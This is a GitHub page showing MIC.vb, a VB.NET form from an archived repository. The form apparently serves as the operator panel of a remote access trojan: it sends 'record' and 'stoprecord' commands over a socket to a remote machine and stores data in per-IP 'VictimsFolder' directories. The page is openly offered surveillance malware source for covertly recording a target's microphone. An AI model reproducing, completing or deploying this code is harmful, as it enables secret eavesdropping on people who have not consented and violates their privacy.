This repository has been archived by the owner on Apr 22, 2024. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 0
/
MIC.vb
86 lines (64 loc) · 2.59 KB
/
MIC.vb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
Public Class MIC
Public sock As Integer
Public recording As Boolean
Private stopwatch As New Stopwatch
#Region "Drag"
Dim posX As Integer
Dim posY As Integer
Dim drag As Boolean
Private Sub Header_MouseDown(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles Label2.MouseDown, Label2.MouseDown
If e.Button = MouseButtons.Left Then
drag = True
posX = Cursor.Position.X - Me.Left
posY = Cursor.Position.Y - Me.Top
End If
End Sub
Private Sub Header_MouseUp(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles Label2.MouseUp, Label2.MouseUp
drag = False
End Sub
Private Sub Header_MouseMove(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles Label2.MouseMove, Label2.MouseMove
If drag Then
Me.Top = Cursor.Position.Y - posY
Me.Left = Cursor.Position.X - posX
End If
Me.Cursor = Cursors.Default
End Sub
#End Region
Private Sub Button4_Click(sender As System.Object, e As System.EventArgs) Handles Button4.Click
'rec
Main.S.Send(sock, "record")
Timer1.Start()
Me.stopwatch.Start()
End Sub
Private Sub Button1_Click(sender As System.Object, e As System.EventArgs) Handles Button1.Click
'stop
Main.S.Send(sock, "stoprecord")
Me.stopwatch.Stop()
Me.stopwatch.Reset()
Label1.Text = "00:00:00:00"
End Sub
Dim i = 0
Private Sub Timer1_Tick(sender As System.Object, e As System.EventArgs) Handles Timer1.Tick
Dim elapsed As TimeSpan = Me.stopwatch.Elapsed
Label1.Text = String.Format("{0:00}:{1:00}:{2:00}:{3:00}", _
Math.Floor(elapsed.TotalHours), _
elapsed.Minutes, elapsed.Seconds, _
elapsed.Milliseconds)
End Sub
Dim DownloadVictimFolder As String
Sub getfolder()
For Each folder In IO.Directory.GetDirectories(Application.StartupPath & "\VictimsFolder\")
If folder.Contains(Main.S.IP(sock)) Then
DownloadVictimFolder = folder
Exit Sub
End If
Next
End Sub
Private Sub MIC_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
Me.AllowTransparency = True
Me.TransparencyKey = Me.BackColor
End Sub
Private Sub buttonClos_Click(sender As System.Object, e As System.EventArgs) Handles buttonClos.Click
Me.Close()
End Sub
End Class